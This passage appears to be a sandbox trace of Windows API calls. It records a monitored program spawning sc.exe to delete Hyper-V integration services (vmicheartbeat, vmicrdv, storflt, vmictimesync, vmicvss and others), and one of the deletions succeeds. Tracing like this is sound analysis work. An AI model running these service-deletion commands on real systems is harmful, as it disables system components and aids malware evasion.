(_String1="delete", _String2="qtriggerinfo") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0063.023] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0063.023] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0063.023] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x204370 [0063.027] OpenServiceW (hSCManager=0x204370, lpServiceName="vmicshutdown", dwDesiredAccess=0x10000) returned 0x0 [0063.027] GetLastError () returned 0x424 [0063.027] _itow (in: _Dest=0x424, _Radix=1636152 | out: _Dest=0x424) returned="1060" [0063.027] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0063.029] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f6f0, nSize=0x2, Arguments=0x18f720 | out: lpBuffer="跀 ") returned 0x62 [0063.029] GetFileType (hFile=0x120) returned 0x3 [0063.029] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208ea0 [0063.029] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0063.029] WriteFile (in: hFile=0x120, lpBuffer=0x208ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f698, lpOverlapped=0x0 | out: lpBuffer=0x208ea0*, lpNumberOfBytesWritten=0x18f698*=0x62, lpOverlapped=0x0) returned 1 [0063.029] LocalFree (hMem=0x208ea0) returned 0x0 [0063.029] LocalFree (hMem=0x208dc0) returned 0x0 [0063.029] LocalFree (hMem=0x0) returned 0x0 [0063.029] CloseServiceHandle (hSCObject=0x204370) returned 1 [0063.033] exit (_Code=1060) Thread: id = 11 os_tid = 0x364 Process: id = "7" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3a9c7000" os_pid = "0x304" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmicheartbeat" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0x6dc [0063.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf8f0 | out: lpSystemTimeAsFileTime=0x1cf8f0*(dwLowDateTime=0xe8a96350, dwHighDateTime=0x1d62701)) [0063.103] GetCurrentProcessId () returned 0x304 [0063.103] GetCurrentThreadId () returned 0x6dc [0063.103] GetTickCount () returned 0x114712b [0063.103] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf8f8 | out: lpPerformanceCount=0x1cf8f8*=18330163597) returned 1 [0063.104] GetModuleHandleW (lpModuleName=0x0) returned 0xff090000 [0063.104] __set_app_type (_Type=0x1) [0063.104] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff097228) returned 0x0 [0063.105] __wgetmainargs (in: _Argc=0xff09b604, _Argv=0xff09b610, _Env=0xff09b608, _DoWildCard=0, _StartInfo=0xff09b050 | out: _Argc=0xff09b604, _Argv=0xff09b610, _Env=0xff09b608) returned 0 [0063.105] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.313] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.314] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0063.314] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0063.314] _wcsicmp (_String1="delete", _String2="query") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="start") returned -15 [0063.314] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0063.314] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0063.314] _wcsicmp (_String1="delete", _String2="control") returned 1 [0063.314] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0063.314] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0063.314] _wcsicmp (_String1="delete", _String2="config") returned 1 [0063.314] _wcsicmp (_String1="delete", _String2="description") returned -7 [0063.314] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0063.314] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0063.314] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0063.314] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0063.314] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0063.314] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0063.314] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0063.314] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0063.315] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0063.315] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0063.315] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0063.315] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0063.315] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0063.315] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3143d0 [0063.319] OpenServiceW (hSCManager=0x3143d0, lpServiceName="vmicheartbeat", dwDesiredAccess=0x10000) returned 0x0 [0063.320] GetLastError () returned 0x424 [0063.320] _itow (in: _Dest=0x424, _Radix=1898328 | out: _Dest=0x424) returned="1060" [0063.320] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff09b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0063.322] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf710, nSize=0x2, Arguments=0x1cf740 | out: lpBuffer="趰1") returned 0x62 [0063.323] GetFileType (hFile=0x120) returned 0x3 [0063.323] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x318e90 [0063.323] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x318e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n1", lpUsedDefaultChar=0x0) returned 98 [0063.323] WriteFile (in: hFile=0x120, lpBuffer=0x318e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf6b8, lpOverlapped=0x0 | out: lpBuffer=0x318e90*, lpNumberOfBytesWritten=0x1cf6b8*=0x62, lpOverlapped=0x0) returned 1 [0063.323] LocalFree (hMem=0x318e90) returned 0x0 [0063.323] LocalFree (hMem=0x318db0) returned 0x0 [0063.323] LocalFree (hMem=0x0) returned 0x0 [0063.323] CloseServiceHandle (hSCObject=0x3143d0) returned 1 [0063.329] exit (_Code=1060) Thread: id = 13 os_tid = 0x64 Process: id = "8" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3b0cc000" os_pid = "0x6f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmicrdv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x57c [0063.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafef0 | out: lpSystemTimeAsFileTime=0xafef0*(dwLowDateTime=0xe8c13110, dwHighDateTime=0x1d62701)) [0063.446] GetCurrentProcessId () returned 0x6f0 [0063.446] GetCurrentThreadId () returned 0x57c [0063.446] GetTickCount () returned 0x11471c7 [0063.446] QueryPerformanceCounter (in: lpPerformanceCount=0xafef8 | out: lpPerformanceCount=0xafef8*=18364465482) returned 1 [0063.448] GetModuleHandleW (lpModuleName=0x0) returned 0xff1f0000 [0063.448] __set_app_type (_Type=0x1) [0063.448] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1f7228) returned 0x0 [0063.448] __wgetmainargs (in: _Argc=0xff1fb604, _Argv=0xff1fb610, _Env=0xff1fb608, _DoWildCard=0, _StartInfo=0xff1fb050 | out: _Argc=0xff1fb604, _Argv=0xff1fb610, _Env=0xff1fb608) returned 0 [0063.449] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.451] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.451] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0063.451] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0063.452] _wcsicmp (_String1="delete", _String2="query") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="start") returned -15 [0063.452] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0063.452] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0063.452] _wcsicmp (_String1="delete", _String2="control") returned 1 [0063.452] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0063.452] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0063.452] _wcsicmp (_String1="delete", _String2="config") returned 1 [0063.452] _wcsicmp (_String1="delete", _String2="description") returned -7 [0063.452] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0063.452] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0063.452] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0063.452] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0063.452] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0063.452] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0063.452] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0063.452] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0063.452] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0063.452] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0063.453] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x174370 [0063.477] OpenServiceW (hSCManager=0x174370, lpServiceName="vmicrdv", dwDesiredAccess=0x10000) returned 0x0 [0063.477] GetLastError () returned 0x424 [0063.477] _itow (in: _Dest=0x424, _Radix=720216 | out: _Dest=0x424) returned="1060" [0063.477] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff1fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0063.479] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafd10, nSize=0x2, Arguments=0xafd40 | out: lpBuffer="跀\x17") returned 0x62 [0063.480] GetFileType (hFile=0x120) returned 0x3 [0063.480] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x178ea0 [0063.480] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x178ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x17", lpUsedDefaultChar=0x0) returned 98 [0063.480] WriteFile (in: hFile=0x120, lpBuffer=0x178ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xafcb8, lpOverlapped=0x0 | out: lpBuffer=0x178ea0*, lpNumberOfBytesWritten=0xafcb8*=0x62, lpOverlapped=0x0) returned 1 [0063.480] LocalFree (hMem=0x178ea0) returned 0x0 [0063.480] LocalFree (hMem=0x178dc0) returned 0x0 [0063.480] LocalFree (hMem=0x0) returned 0x0 [0063.480] CloseServiceHandle (hSCObject=0x174370) returned 1 [0063.499] exit (_Code=1060) Thread: id = 15 os_tid = 0x570 Process: id = "9" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38bd1000" os_pid = "0x808" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete storflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 16 os_tid = 0x818 [0063.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fcf0 | out: lpSystemTimeAsFileTime=0x12fcf0*(dwLowDateTime=0xe8db6030, dwHighDateTime=0x1d62701)) [0063.833] GetCurrentProcessId () returned 0x808 [0063.833] GetCurrentThreadId () returned 0x818 [0063.833] GetTickCount () returned 0x1147272 [0063.833] QueryPerformanceCounter (in: lpPerformanceCount=0x12fcf8 | out: lpPerformanceCount=0x12fcf8*=18403165199) returned 1 [0063.834] GetModuleHandleW (lpModuleName=0x0) returned 0xff3e0000 [0063.834] __set_app_type (_Type=0x1) [0063.834] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3e7228) returned 0x0 [0063.834] __wgetmainargs (in: _Argc=0xff3eb604, _Argv=0xff3eb610, _Env=0xff3eb608, _DoWildCard=0, _StartInfo=0xff3eb050 | out: _Argc=0xff3eb604, _Argv=0xff3eb610, _Env=0xff3eb608) returned 0 [0063.835] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.837] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.837] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0063.837] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0063.837] _wcsicmp (_String1="delete", _String2="query") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="start") returned -15 [0063.837] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0063.837] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0063.837] _wcsicmp (_String1="delete", _String2="control") returned 1 [0063.837] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0063.837] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0063.837] _wcsicmp (_String1="delete", _String2="config") returned 1 [0063.837] _wcsicmp (_String1="delete", _String2="description") returned -7 [0063.837] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0063.837] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0063.837] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0063.837] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0063.837] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0063.837] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0063.837] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0063.837] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0063.838] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0063.838] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0063.838] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0063.838] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0063.838] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b4370 [0063.847] OpenServiceW (hSCManager=0x1b4370, lpServiceName="storflt", dwDesiredAccess=0x10000) returned 0x1b43a0 [0063.847] DeleteService (hService=0x1b43a0) returned 1 [0063.848] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x64, dwLanguageId=0x0, lpBuffer=0x12fbb0, nSize=0x2, Arguments=0x12fc18 | out: lpBuffer="붰\x1b") returned 0x1c [0063.850] GetFileType (hFile=0x120) returned 0x3 [0063.850] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0x1b6fe0 [0063.850] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] DeleteService SUCCESS\r\n", cchWideChar=28, lpMultiByteStr=0x1b6fe0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] DeleteService SUCCESS\r\n", lpUsedDefaultChar=0x0) returned 28 [0063.850] WriteFile (in: hFile=0x120, lpBuffer=0x1b6fe0*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x12fb58, lpOverlapped=0x0 | out: lpBuffer=0x1b6fe0*, lpNumberOfBytesWritten=0x12fb58*=0x1c, lpOverlapped=0x0) returned 1 [0063.850] LocalFree (hMem=0x1b6fe0) returned 0x0 [0063.850] LocalFree (hMem=0x1bbdb0) returned 0x0 [0063.850] LocalFree (hMem=0x0) returned 0x0 [0063.850] CloseServiceHandle (hSCObject=0x1b43a0) returned 1 [0063.851] CloseServiceHandle (hSCObject=0x1b4370) returned 1 [0063.864] exit (_Code=0) Thread: id = 17 os_tid = 0x838 Process: id = "10" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x385d6000" os_pid = "0x848" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmictimesync" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 18 os_tid = 0x858 [0063.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f7f0 | out: lpSystemTimeAsFileTime=0x12f7f0*(dwLowDateTime=0xe8e9a870, dwHighDateTime=0x1d62701)) [0063.925] GetCurrentProcessId () returned 0x848 [0063.925] GetCurrentThreadId () returned 0x858 [0063.925] GetTickCount () returned 0x11472d0 [0063.925] QueryPerformanceCounter (in: lpPerformanceCount=0x12f7f8 | out: lpPerformanceCount=0x12f7f8*=18412361453) returned 1 [0063.926] GetModuleHandleW (lpModuleName=0x0) returned 0xff4c0000 [0063.926] __set_app_type (_Type=0x1) [0063.926] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4c7228) returned 0x0 [0063.927] __wgetmainargs (in: _Argc=0xff4cb604, _Argv=0xff4cb610, _Env=0xff4cb608, _DoWildCard=0, _StartInfo=0xff4cb050 | out: _Argc=0xff4cb604, _Argv=0xff4cb610, _Env=0xff4cb608) returned 0 [0063.927] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.929] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.929] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0063.929] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0063.930] _wcsicmp (_String1="delete", _String2="query") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="start") returned -15 [0063.930] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0063.930] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0063.930] _wcsicmp (_String1="delete", _String2="control") returned 1 [0063.930] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0063.930] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0063.930] _wcsicmp (_String1="delete", _String2="config") returned 1 [0063.930] _wcsicmp (_String1="delete", _String2="description") returned -7 [0063.930] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0063.930] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0063.930] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0063.930] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0063.930] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0063.930] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0063.930] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0063.930] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0063.930] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0063.930] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0063.930] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x204370 [0063.936] OpenServiceW (hSCManager=0x204370, lpServiceName="vmictimesync", dwDesiredAccess=0x10000) returned 0x0 [0063.936] GetLastError () returned 0x424 [0063.936] _itow (in: _Dest=0x424, _Radix=1242712 | out: _Dest=0x424) returned="1060" [0063.936] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff4cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0063.939] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f610, nSize=0x2, Arguments=0x12f640 | out: lpBuffer="跀 ") returned 0x62 [0063.939] GetFileType (hFile=0x120) returned 0x3 [0063.939] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208ea0 [0063.939] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0063.939] WriteFile (in: hFile=0x120, lpBuffer=0x208ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f5b8, lpOverlapped=0x0 | out: lpBuffer=0x208ea0*, lpNumberOfBytesWritten=0x12f5b8*=0x62, lpOverlapped=0x0) returned 1 [0063.939] LocalFree (hMem=0x208ea0) returned 0x0 [0063.940] LocalFree (hMem=0x208dc0) returned 0x0 [0063.940] LocalFree (hMem=0x0) returned 0x0 [0063.940] CloseServiceHandle (hSCObject=0x204370) returned 1 [0063.943] exit (_Code=1060) Thread: id = 19 os_tid = 0x878 Process: id = "11" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x39bdc000" os_pid = "0x888" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmicvss" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x898 [0064.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafc10 | out: lpSystemTimeAsFileTime=0xafc10*(dwLowDateTime=0xe8f7f0b0, dwHighDateTime=0x1d62701)) [0064.145] GetCurrentProcessId () returned 0x888 [0064.145] GetCurrentThreadId () returned 0x898 [0064.145] GetTickCount () returned 0x114732d [0064.145] QueryPerformanceCounter (in: lpPerformanceCount=0xafc18 | out: lpPerformanceCount=0xafc18*=18434365911) returned 1 [0064.147] GetModuleHandleW (lpModuleName=0x0) returned 0xff0f0000 [0064.147] __set_app_type (_Type=0x1) [0064.147] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0f7228) returned 0x0 [0064.147] __wgetmainargs (in: _Argc=0xff0fb604, _Argv=0xff0fb610, _Env=0xff0fb608, _DoWildCard=0, _StartInfo=0xff0fb050 | out: _Argc=0xff0fb604, _Argv=0xff0fb610, _Env=0xff0fb608) returned 0 [0064.148] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.151] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.151] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.151] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.151] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.151] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.151] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.151] _wcsicmp 